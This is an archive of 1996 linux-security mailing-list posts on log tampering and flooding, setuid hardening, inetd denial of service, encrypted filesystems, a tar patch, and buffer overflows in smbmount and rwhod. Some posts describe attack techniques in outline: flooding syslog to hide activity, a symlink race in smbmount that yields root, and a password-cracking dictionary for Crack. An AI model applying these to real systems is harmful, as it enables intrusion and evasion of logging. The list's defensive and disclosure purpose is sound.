$) id BAA32239; Wed, 21 Aug 1996 01:56:42 -0400 Message-ID: Date: Tue, 20 Aug 1996 08:54:46 -0400 (EDT) From: David R Schwanke To: [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) Cc: Jonathan Larmour , Frank Parato , [email protected] In-Reply-To: References: Sender: [email protected] Precedence: list Excerpts from internet.computing.linux-security: 20-Aug-96 System log practicalities (.. by Louis [email protected] > Problems with illegal root modifying the log can be solved by somehow > making the log append-only (line printer, modified tape streamer driver, > remote syslog host without telnetd etc, etc) but those can be even more > susceptible to nonsense flooding. Favorite of mine is to setup a standalone machine as a listen only connection via serial cable. Log is cat-ed to the correct tty. Then the standalone machine cats it (via standard (in my old case, dos) terminal software) to a file. They would have to first know its there, and then disable it. (Which would be the case of any log system since its somehow ON the machine.) They couldn't flood it out of the log since the log was appended. Only thing they could do would be to try to flood the log BEFORE they did anything that might disclose their location, but for one thing it takes a hell of a long time to create a 120 meg text file via cat, and second, you can usually tell who caused the problem and then they would still be suspect.. [REW: In security and cryptography, always assume the bad guys know everything. You'll only catch a few more bad guys because in reality they don't. Beware that a 9600 baud line could be flooded "temporarily". Get the system to log 20kbytes of data. Now you have a few seconds to do the bad stuff, and generate another 4k of data. At least the kernel log would silently overflow the logs of the bad things. I assume that someone with bad intentions can find a way to generate log messages that don't contain his name. Because of the added "ease-of-use" I personally would chose for the networked logger solution. A very securely configured (No network services) Linux machine with just a syslogd. If a client would pay me enough, I'd write something fancy that would detect and deter flood attempts better than the standard syslogd.] From [email protected] Wed Aug 21 06:01:44 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA00951; Wed, 21 Aug 1996 06:01:44 -0400 Date: Tue, 20 Aug 1996 10:44:11 -0400 (EDT) From: "Paul D. Robertson" X-Sender: proberts@explorer2 To: Louis Mandelstam cc: Jonathan Larmour , Frank Parato , [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 20 Aug 1996, Louis Mandelstam wrote: > The only solid solution I can think of would be for the logging daemon to > intelligently interpret entries and somehow evaluate which entries need to > be ignored. Dunno how one would do this. There are several Perl packages for managing firewall logs in this regard, I'm sure you could probably plug one of them into syslog pretty easily, at least to filter out things you know are fluff, or perhaps to log an event once (better done when you sighup and start a new syslog -- perhaps something like this is better done in a named pipe?) [REW: Anybody know a name we can tell to the search engines to find one of those perl packages?] [REW: Deleted Q&A, already answered.] Paul ----------------------------------------------------------------------------- Paul D. Robertson "My statements in this message are personal opinions [email protected] which may have no basis whatsoever in fact." PSB#9280 From [email protected] Wed Aug 21 06:02:00 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA00964; Wed, 21 Aug 1996 06:02:00 -0400 Date: Tue, 20 Aug 1996 10:13:54 -0500 (CDT) From: Alex Mottram To: [email protected] Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list > Personally, I'd wish to have a distribution kit that would ask me > whether I want an "merely open" or a "secure" system. For development > purposes or as a real end-user system, the current state of most > distributions (which I consider as "open") is okay, but systems to > be connected to open networks such as the Internet need more security, > and - simply said - less s-bit programs and pre-configured services > (/etc/inetd.conf etc.). > > Is anybody out here who deals with distribution kits and their instal- > lation scripts? It shouldn't need much effort to separate binary > tree and configuration files and stuff them into two packages. Next > step just whould be to offer (at least) two configuration packages > alternatively, each with a configuration tree and a small installation > script setting/resetting some "critical" s-bits. > > What do you think about this? Personally, I find that doing a "cd / ; find -perm -04000 -user root" and removing the sbits from just about everything works fine. After that, a quick pass through /etc cleaning up a few files like inetd.conf, hosts.allow, and hosts.deny should take care of most problems. I personally feel that all hosts should be denied by default. Period. If a user wants to play a VGA game like abuse, go use the DOS box down the hall. :) Having an installation option, or perhaps a "secure" package to install would definitely be a step in the right direction for all linux distributors. +-----------------------+----------------------------------------------------+ | Alex Mottram | Experience is what you get when you were | | System Administrator, | expecting something else... | | Net-Connect, Ltd. | | +-----------------------+----------------------------------------------------+ From [email protected] Wed Aug 21 06:04:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA00997; Wed, 21 Aug 1996 06:04:49 -0400 Date: Tue, 20 Aug 1996 18:07:09 +0300 (GMT+0300) From: "Sergey V. Minakov" X-Sender: [email protected] To: [email protected] Subject: [linux-security] Dicts .... In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list Hi! New dict. file for crack ... contain near 750,000 words of all tematics.... ftp://194.67.110.2/pub/unix/Admin/Dicts/MainDict.gz - 2,467,088 bytes. WiNG -------------------------------------------------------------------- Sergey V. Minakov NOC MGDTD -------------------------------------------------------------------- Phone : +7 095 939-8304 EMail : [email protected] URL : http://www.mgdtd.ru/~ser -------------------------------------------------------------------- From [email protected] Wed Aug 21 06:05:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA01011; Wed, 21 Aug 1996 06:05:01 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] smbmount (and ncpmount?) To: [email protected] Date: Tue, 20 Aug 1996 19:19:58 -0400 (EDT) Cc: [email protected] X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list smbmount has half a dozen possible buffer overruns. It also execs modprobe setuid root; I believe this is likely to be a significant hazard. Patches have been sent to the maintainer. There's a more serious problem that more or less has to affect ncpmount and any other similar program: there's a race condition between when the mount point is checked for permission and when the mount is performed. Thus anyone can mount shares anywhere by playing symlink games, and of course become root about ten seconds later. This problem cannot be fixed without updating the kernel - either the permission check needs to be moved into the kernel, or the mount point needs to be passed to the kernel as a fd instead of a pathname. Myself, I prefer moving the permission check into the kernel; Ultrix supported user NFS mounts that way long, long ago. Recommendation: chmod -s smbmount and smbumount, and probably ncpmount too. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Wed Aug 21 06:05:19 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA01027; Wed, 21 Aug 1996 06:05:19 -0400 Date: Tue, 20 Aug 1996 20:33:44 -0400 (EDT) From: Brian Mitchell X-Sender: brian@tcpip To: Louis Mandelstam cc: "Paul D. Robertson" , Jonathan Larmour , Frank Parato , [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 20 Aug 1996, Louis Mandelstam wrote: > Problems with illegal root modifying the log can be solved by somehow > making the log append-only (line printer, modified tape streamer driver, > remote syslog host without telnetd etc, etc) but those can be even more > susceptible to nonsense flooding. > > Disk-based logs could conceivably be rotated (or entries removed from the > top when the log exceeds x lenght) but this allows the attacker to flood > harmful evidence out of the log. > > [REW: 1) You disable external access to your syslog port. 2) Linux > already has an "append-only" file mode, so you don't need to revert > to the old "line printer log".] the 'append mode' is pretty useless, since the root user can just undo the flag, modify the files, then set the flag again. The same is (was, I believe - kernel 2.x seems to have fixed this) true of the immutable flag. [REW: I thought that we had something like "securelevel" too, which would, given the right value, disable the clearing of those flags. One of the primary uses of the immutable and append-only flags are for the logfile case that we're looking at right now. I wouldn't consider it ready for inclusion in the standard kernel if it didn't make an attempt at being secure against a root-user. I can't find anything about this in my /usr/src/linux tree. Maybe it's just an optional patch that someone has lying around?] Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - H. Truman From [email protected] Wed Aug 21 06:05:37 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA01042; Wed, 21 Aug 1996 06:05:37 -0400 Date: Tue, 20 Aug 1996 16:34:40 +0200 (SAT) From: Louis Mandelstam To: "Paul D. Robertson" cc: Jonathan Larmour , Frank Parato , [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 20 Aug 1996, Paul D. Robertson wrote: > Generally, you syslog to a log partition, not to the root partition, > I've typically used /log or /syslog as a mount point, and logged directly Yes, certainly. > to files in that partition. Normally a crontab entry mv's the log file, > gzips it, touches a new one, and sighups syslogd. Since I tend to log > production machines at *.debug, this step becomes necessary pretty > quickly. On AIX machines, I tend to use a compressed filesystem (I admit > to never having searched for one on Linux) to remove the having to gzip > step (though LZH is less efficient). But this still doesn't exactly address the possibility of an attacker flooding the log with bogus entries. Yes, if the log management scripts are implemented correctly, the system would cope - either stop logging when we run out of space, or start deleting older log entries. Problem with the first (cease logging) is that the "interesting" bits may occur after the attacker grinds the log to a halt, and with the second, that the attacker can push evidence out the other side of the queue. The only solid solution I can think of would be for the logging daemon to intelligently interpret entries and somehow evaluate which entries need to be ignored. Dunno how one would do this. I don't know - apart from remote connections (which we can limit to some extent) what practical ways would there be for an attacker to really flood syslog? [REW: Trivial. Find anything that gets logged and repeat that.] ------------------------------------------------------------------------- L.Mandelstam - System Administrator [email protected] S A Council of Churches, PO Box 4921, Johannesburg, 2000, South Africa tel:+27-11-492-1380 x145 fax:+27-11-492-1448 mobile: +27-83-229-0712 ------------------------------------------------------------------------- From [email protected] Wed Aug 21 06:07:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA01065; Wed, 21 Aug 1996 06:07:01 -0400 Message-ID: <[email protected]> From: Jeffrey Barber To: "'Linux Security Mailing List'" Subject: [linux-security] Secure Filesystem Date: Tue, 20 Aug 1996 07:06:15 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Sender: [email protected] Precedence: list I have been approached do write kernel mods to linux that will pgp encrypt the entire file system. At boot up you will be prompt for the file system password. Great idea, HUGE project. My question is, is this already in the makings or is it already out there. Your input would be greatly appreciated. [REW: I've seen references (excluding the PGP part) to encrypting file systems in the "loop device" and the "user-fs" area. The encryption of the filesystem should certainly not be done using RSA, but just like PGP does, with IDEA or something like that. Using PGP as the "framework" is interesting, because it enables you to cryptographically give out "read-only" access to the partition!] TIA From [email protected] Wed Aug 21 06:08:08 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA01078; Wed, 21 Aug 1996 06:08:08 -0400 From: David Holland Message-Id: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] Date: Tue, 20 Aug 1996 15:41:49 -0400 (EDT) Cc: [email protected] In-Reply-To: from "Joel Maslak" at Aug 19, 96 07:33:38 pm X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > > > This is a message I saw on the kernel mailing list: > > On Fri, 16 Aug 1996, Klaus Lichtenwalder wrote: > > > I have an application that for simplicity backs up new files from a file > > server via rsh. Things thingy stops after a few rsh calls to the remote > > Linux machine. The following message can be found in syslog: > > > > Aug 16 17:53:59 gaston inetd[73]: shell/tcp server failing (looping), > > service terminated > [...] > > Obviously, this could be a denial of service attack. If you have problems with it, having cron send inetd a SIGHUP every fifteen minutes or so should cure the problem. This is gross, though. > [REW: I couldn't reproduce the "terminating service" on my slackware > distribution. It seems to have the same 1.1 version of inetd. I suspect > that the machine is too slow to accept more than 40 requests per minute. > > I'd rather have the "init" behaviour: "id "c1" respawning too fast: > Disabled for 5 minutes"] This has been added to the to-do list for inetd. -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Wed Aug 21 06:08:17 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA01091; Wed, 21 Aug 1996 06:08:17 -0400 From: infinity Message-Id: <[email protected]> Subject: [linux-security] Re: Vulnerability list/info To: [email protected] (Roscinante) Date: Tue, 20 Aug 1996 10:12:40 -0700 (PDT) Cc: [email protected] In-Reply-To: from "Roscinante" at Aug 20, 96 01:03:23 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Content-Length: 1272 Sender: [email protected] Precedence: list Roscinante's thoughts were: | | > ftp://ftp.infonexus.com/pub/Philes/AttackFlawsExploits/Linux | > [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair | | Is there an alternate site for the above? The site refuses anon ftp (donno if | that's cos there's a limit, or you don't allow anon.. It only says 'login | rejected' or some such). | If you try to ftp in during peak hours: 530-The wire is smoking! Sorry to do this, but ftp access is limited 530-to off peak hours now. 530- 530-It is: Tue Aug 20 10:08:20 1996 PST 530- 530-Try back between: 530- 530-Mon-Fri: 1700-800 PST 530-Sat-Sun: 000-2400 PST 530- 530-Mail [email protected] with any gripes, complaints, or offers of free 530-ISDN service... 530- 530 User ftp access denied. If the limit has been reached during peak hours you will get a message telling you: 530-The pipe is filled to capacity! 530-4 users is the current max... 530- 530- 530 User ftp access denied. Due to bandwidth constraints, ftp is limited to 1700-900PST M-F and all day Sat,Sun... -- [ [email protected] ] Editor, Phrack Magazine / Guild Corporation Chair the greatest trick the devil ever pulled was convincing the world he didn't exist From [email protected] Wed Aug 21 11:34:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id LAA01493; Wed, 21 Aug 1996 11:34:03 -0400 Date: Tue, 20 Aug 1996 11:04:12 -0700 (PDT) From: root To: Alan Cox cc: "Robert R. Collier" , [email protected] Subject: Re: [linux-security] Problems running crack on linux. In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Fri, 16 Aug 1996, Alan Cox wrote: > > pwc: Aug 16 16:11:12 Crack v4.1f: The Password Cracker, (c) Alec D.E. Muffett, 1992 > > pwc: Aug 16 16:11:12 Version of crypt() being used internally is not compatible with standard. > > pwc: Aug 16 16:11:12 This could be due to byte ordering problems - see the comments in Sources/conf.h > > pwc: Aug 16 16:11:12 If there is another reason for this, edit the source to remove this assertion. > > pwc: Aug 16 16:11:12 Terminating... > > -->8-->8-- > > This is correct. Our long passwords are different. We also have a very > fast crypt() in libc, so use that an for optimal performance static link > it so crypt isnt running -fPIC > > Crack 5.0 is about to appear > > I had the same prob with crack 4.1f, and i had to get a procompiled version from sunsite... i want to know how to link libc's crypt() into crack... can someone make a patch for crack 4.1f? -Rob linux-security/linux-security.960822100664 1767 1767 125240 6207076610 16675 0ustar majdommajdomFrom [email protected] Thu Aug 22 01:56:16 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id BAA06778; Thu, 22 Aug 1996 01:56:16 -0400 X-Authentication-Warning: dilbert.redhat.com: sopwith owned process doing -bs Date: Wed, 21 Aug 1996 10:05:52 -0400 (EDT) From: Elliot Lee To: Roscinante cc: [email protected] Subject: [linux-security] Re: Anon ftp pkg? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Wed, 21 Aug 1996, Roscinante wrote: > Does the updated anonftp pkg have a fixed version of tar? Yes, that's all that changed :-) > I've been trying all night to get rpm working on my slack system, am I > wasting my time (someone told me all thats in the updated anonftp pkg is > a config script)? No. > Are there options in tar that should be disabled at compile time? > What options are exploitable? Please cc me directly. I have attached a patch to tar that you can compile tar with to fix it. Hope this helps, --==== Elliot Lee = == Red Hat Software ====-- "Usenet is like a herd of performing elephants with diarrhea; massive, difficult to redirect, awe-inspiring, entertaining, and a source of mind-boggling amounts of excrement when you least expect it." --- tar-1.11.8/src/tar.c.sopwith Sat Jun 17 16:48:32 1995 +++ tar-1.11.8/src/tar.c Mon Aug 19 12:19:16 1996 @@ -22,6 +22,8 @@ #include "system.h" +#include + #ifndef FNM_LEADING_DIR # include #endif @@ -1202,14 +1204,19 @@ break; case OPTION_COMPRESS_PROG: - if (flag_compressprog) - ERROR ((TAREXIT_FAILURE, 0, - _("Only one compression option permitted"))); - flag_compressprog = optarg; + openlog("ftp tar", 0, LOG_DAEMON); + syslog(LOG_WARNING,"Attempt to run tar via FTP with compress command %s", + optarg); + closelog(); + flag_compressprog = NULL; break; case OPTION_RSH_COMMAND: - flag_rsh_command = optarg; + openlog("ftp tar", 0, LOG_DAEMON); + syslog(LOG_WARNING,"Attempt to run tar via FTP with rsh command %s", + optarg); + closelog(); + flag_rsh_command = NULL; break; case 'g': From [email protected] Thu Aug 22 04:36:03 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA07781; Thu, 22 Aug 1996 04:36:03 -0400 Date: Wed, 21 Aug 1996 23:22:33 -0400 (EDT) From: Racer X Reply-To: [email protected] To: [email protected] Subject: Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 19 Aug 1996, Paul D. Robertson wrote: > > Surely you must be running syslogd? There are many known problems with > > syslogd to do with buffer overruns, and in particular if your syslogd > > listens on the syslogd UDP port, then that could easily be the trouble. > > Hrm, all the exploits I've seen deal with the syslog library call, not the > daemon, and the Linux libraries have been fixed for a while. Could you > provide more info on the daemon problems? The "daemon problem" is caused by a syslogd that listens on the network UDP/syslog port for incoming messages from other hosts. An attacker could fill up your hard disk, but that's about it. The latest syslogd for Linux has this behavior turned off by default; you have to explicitly tell it to listen on the network, and you can specify hosts to listen to or ignore. It should be blocked at the firewall/router if you want to run it on the net. shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Thu Aug 22 04:36:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id EAA07794; Thu, 22 Aug 1996 04:36:13 -0400 Date: Wed, 21 Aug 1996 23:19:14 -0400 (EDT) From: Racer X Reply-To: [email protected] To: Joel Maslak cc: Linux Security Mailing List Subject: Re: [linux-security] inetd and denial-of-service In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Mon, 19 Aug 1996, Joel Maslak wrote: > evil.com writes a program which, all at once, sends out 40 connection > requests to good.edu's telnet port. Good.edu's inetd, thinking that > something is broke stops allowing incoming telnets. > > Ideas for solution: > > 1. Add a number after nowait for TCP services in /etc/inetd.conf. This > number represents the max number of requests per minute. Set it to 32000 > or something. Note that this requires a recent version of inetd. (I run > 1.1) This sounds pretty good, but what do you do when you pass the limit (whatever it is)? Would you shut down the service, or just start ignoring connects? [REW: my inetd closes the socket causing "connection refused" errors] > 2. Block access to all ports except from "trusted sites". This assumes a > open environment where the network medium is generally trusted. Note that > IP spoofing attacks can occur if the network is not trusted. This can be done with TCP wrappers. [REW: Not quite. If inetd drops the port, tcpd won't get started. Another problem is that a tcpd is started for every connection. This means that state would have to be passed by files, creating locking problems etc etc. -> Not trivial. Inetd seems fine to me.] I started thinking about this a couple of days ago (right after I read the source for the SYN-flooder in the latest 2600). I thought of a way to at least try to avoid total denial-of-service. >From the sources I have seen for SYN-flooders, they generally forge the source address. One style is to generate random source addresses, the other is to take a user-specified address. A way around the first style is this: If the max number of connects per unit time is passed, stop the server for (say) 1 or 2 minutes. Then try to reverse DNS all those connects on that port. Any that can't be reversed should be immediately dropped. Once you're back under the limit, restart the server. You could get around the second style by specifying a max number of connects to accept from any one site at a time. However, passing this limit would not shut down the server, it would just deny that site until it was back under limit. [REW: We use this to limit "misuse" of our NNTP server. Just sleep for a second after each request before servicing the next one.... This would not "break" the script but severely limit the performance for the guy who started this thread....] The more I think about this though, the more it seems this would be better implemented in TCP wrappers (tcpd). It doesn't seem TOO difficult to do, although I'm not sure if you would have to do anything in kernel space too. For instance, if you have a connect that is in state SYN_RECV, can you just arbitrarily drop it, or do you have to wait for something to timeout in the TCP code? [REW: You could fiddle with the firewall rules to lock out certain hosts/ports....] shag Judd Bourgeois | When we are planning for posterity, [email protected] | we ought to remember that virtue is Finger for PGP key | not hereditary. Thomas Paine From [email protected] Thu Aug 22 05:32:26 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id FAA08079; Thu, 22 Aug 1996 05:32:26 -0400 Date: Wed, 21 Aug 1996 09:54:04 -0700 Message-Id: <[email protected]> From: [email protected] To: Alex Mottram Cc: [email protected] Subject: Re: [linux-security] Re: Possible bufferoverflow condition in lpr, xterm and xload References: Reply-To: [email protected] X-Attribution: smikes Sender: [email protected] Precedence: list >> Personally, I'd wish to have a distribution kit that would ask me >> whether I want an "merely open" or a "secure" system. For development >> >> What do you think about this? Alex> Personally, I find that doing a "cd / ; find -perm -04000 -user root" and I really recommend doing both 'find / -perm -4000 -print' and 'find / -perm -2000 -print'. There are suid uucp binaries, tin by default is suid news, (unnecessary if you read news by NNTP, like me), plus there are some sgid binaries which don't need to be sgid. Just a thought, Sam -- Sam Mikes "I could kill for this one time and not get caught" [email protected] -- Midnight Oil From [email protected] Thu Aug 22 06:49:01 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08731; Thu, 22 Aug 1996 06:49:01 -0400 Date: Wed, 21 Aug 1996 11:20:48 -0400 (EDT) From: Kurt Hockenbury To: Jeffrey Barber cc: "'Linux Security Mailing List'" Subject: Re: [linux-security] Secure Filesystem In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 20 Aug 1996, Jeffrey Barber wrote: > I have been approached do write kernel mods to linux that will pgp > encrypt the entire file system. At boot up you will be prompt for the > file system password. Great idea, HUGE project. My question is, is this > already in the makings or is it already out there. Your input would be > greatly appreciated. > > [REW: I've seen references (excluding the PGP part) to encrypting file > systems in the "loop device" and the "user-fs" area. It's not PGP, but there is also CFS, the Cryptographic filesystem, which works via an NFS mount. I've played with it on linux, and it seems to work well. It's written by Matt Blaze, there are papers describing it at ftp://research.att.com/dist/mab/ CFS runs on most major Unixes, has support for several ciphers (DES, 3-DES, MacGuffin, and SAFER-SK128), and has hooks for adding new ciphers. The only drawback is you need to send mail, stating that you are in US or Canada, and a citizen or permanent resident, to get a copy sent to you. You could probably also find illegally exported copies in non-US securty archives, but this list isn't the place to discuss US export law. -Kurt -- [Place] snail://USA/07030/NJ/Hoboken/PO Box 5136/Kurt M. Hockenbury [Stamp] [Here.] From [email protected] Thu Aug 22 06:49:09 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08744; Thu, 22 Aug 1996 06:49:09 -0400 Message-Id: <[email protected]> Subject: Re: [linux-security] inetd and denial-of-service To: [email protected] (David Holland) Date: Wed, 21 Aug 1996 18:39:19 +0200 (MET DST) From: "Peter Tobias" Cc: [email protected], [email protected] Reply-To: [email protected] In-Reply-To: <[email protected]> from "David Holland" at Aug 20, 96 03:41:49 pm X-Mailer: ELM [version 2.4 PL23] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit Sender: [email protected] Precedence: list David Holland wrote: > > This is a message I saw on the kernel mailing list: > > > > On Fri, 16 Aug 1996, Klaus Lichtenwalder wrote: > > > > > I have an application that for simplicity backs up new files from a file > > > server via rsh. Things thingy stops after a few rsh calls to the remote > > > Linux machine. The following message can be found in syslog: > > > > > > Aug 16 17:53:59 gaston inetd[73]: shell/tcp server failing (looping), > > > service terminated > > [...] > > > > Obviously, this could be a denial of service attack. > > If you have problems with it, having cron send inetd a SIGHUP every > fifteen minutes or so should cure the problem. This is gross, though. > > > [REW: I couldn't reproduce the "terminating service" on my slackware > > distribution. It seems to have the same 1.1 version of inetd. I suspect > > that the machine is too slow to accept more than 40 requests per minute. > > > > I'd rather have the "init" behaviour: "id "c1" respawning too fast: > > Disabled for 5 minutes"] > > This has been added to the to-do list for inetd. This feature does already exist. The inetd-5.30 that the Debian Distribution uses reenables the service after 10 minutes. Thanks, Peter -- Peter Tobias EMail: Fachhochschule Ostfriesland [email protected] Fachbereich Elektrotechnik und Informatik [email protected] Constantiaplatz 4, 26723 Emden, Germany [email protected] From [email protected] Thu Aug 22 06:51:43 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08785; Thu, 22 Aug 1996 06:51:43 -0400 From: David Holland Message-Id: <[email protected]> Subject: [linux-security] Re: rwhod buffer overflow To: [email protected], [email protected], [email protected], [email protected] Date: Wed, 21 Aug 1996 19:02:15 -0400 (EDT) X-Mailer: ELM [version 2.4 PL22] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: [email protected] Precedence: list > Through examining the source this appears to be a problem in current > OpenBSD, NetBSD, FreeBSD, and Linux distributions. Yes - I only found the bug last week. I was waiting to post it until I could track down an appropriate FreeBSD contact to get the fixes applied. Ah well. The fixed Linux version will be released in NetKit-B-0.08 tonight. The NetKit-B release has been delayed by considerations over the RESOLV_HOST_CONF problem. :( I know the fix has been applied to OpenBSD, and it's at least been sent to NetBSD... -- - David A. Holland | Number of words in the English language that [email protected] | exist because of typos or misreadings: 381 From [email protected] Thu Aug 22 06:51:49 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08797; Thu, 22 Aug 1996 06:51:49 -0400 Date: Wed, 21 Aug 1996 14:28:53 -0700 (PDT) From: Sam Quigley X-Sender: [email protected] To: Louis Mandelstam cc: "Paul D. Robertson" , Jonathan Larmour , Frank Parato , [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 20 Aug 1996, Louis Mandelstam wrote: > I don't know - apart from remote connections (which we can limit to some > extent) what practical ways would there be for an attacker to really flood > syslog? > > [REW: Trivial. Find anything that gets logged and repeat that.] But surely a clever syslog would respond to this sort of repeated log by saying something like: Syslog: Last message repeats x times. Each syslog entry needs to be unique, and there need to be a whole lot of them. I don't immediately see how an attacker could flood syslog with unique messages without leaving evidence of how those messages were sent. (I am willing to concede that it's possible -- I'm just curious as to how. In any case, a clever syslog like this isn't a great solution: there needs to be some way to prevent this kind of attack altogether.) [REW: Just make sure that there are two different messages that you alternate. (for example by alternating telnet and rsh requests.) Or find a deamon that logs two different lines. (e.g. rsh as root, which gives you a tcpd line and a rsh line). Or find a deamon that puts a unique identifier (pid) in the log (e.g. sendmail). ] -sq From [email protected] Thu Aug 22 06:52:13 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08816; Thu, 22 Aug 1996 06:52:13 -0400 Date: Wed, 21 Aug 1996 14:48:54 -0400 (EDT) From: Brian Mitchell X-Sender: brian@tcpip To: Louis Mandelstam , "Paul D. Robertson" , Jonathan Larmour , Frank Parato , [email protected] Subject: Re: System log practicalities (was Re: [linux-security] qmail,wu.ftpd,deslogind, in.telnetsnoopd ?) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: [email protected] Precedence: list On Tue, 20 Aug 1996, Brian Mitchell wrote: > [REW: I thought that we had something like "securelevel" too, which > would, given the right value, disable the clearing of those flags. > One of the primary uses of the immutable and append-only flags are for > the logfile case that we're looking at right now. I wouldn't consider > it ready for inclusion in the standard kernel if it didn't make > an attempt at being secure against a root-user. I can't find anything > about this in my /usr/src/linux tree. Maybe it's just an optional patch > that someone has lying around?] Well, according to me brief browsing of a 2.x kernel (the specific one, I do not recall) we now have securelevel and sysctl(). Previously, linux did not. Im sure someone involved in e2fs development can shed more light on this though. [REW: Just some source browsing found: /* * The IMMUTABLE and APPEND_ONLY flags can only be changed by * the super user when the security level is zero. */ if ((flags & (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL)) ^ (inode->u.ext2_i.i_flags & (EXT2_APPEND_FL | EXT2_IMMUTABLE_FL))) { /* This test looks nicer. Thanks to Pauline Middelink */ if (!fsuser() || securelevel > 0) return -EPERM; } else if ((current->fsuid != inode->i_uid) && !fsuser()) return -EPERM; so it should in principle be secure.] Brian Mitchell [email protected] "I never give them hell. I just tell the truth and they think it's hell" - H. Truman From [email protected] Thu Aug 22 06:52:25 1996 Received: (from majdom@localhost) by tarsier.cv.nrao.edu (8.6.13/$Revision: 2.10 $) id GAA08835; Thu, 22 Aug 1996 06:52:25 -0400 Date: Wed, 21 Aug 1996 16:38:57 -0400 (EDT) From: "David J. Meltzer" To: [email protected], [email protected], [email protected], [email protected] Subject: [linux-security] rwhod buffer overflow In-Reply-To: <[email protected]> Message-ID: MIME-Version: 1.0 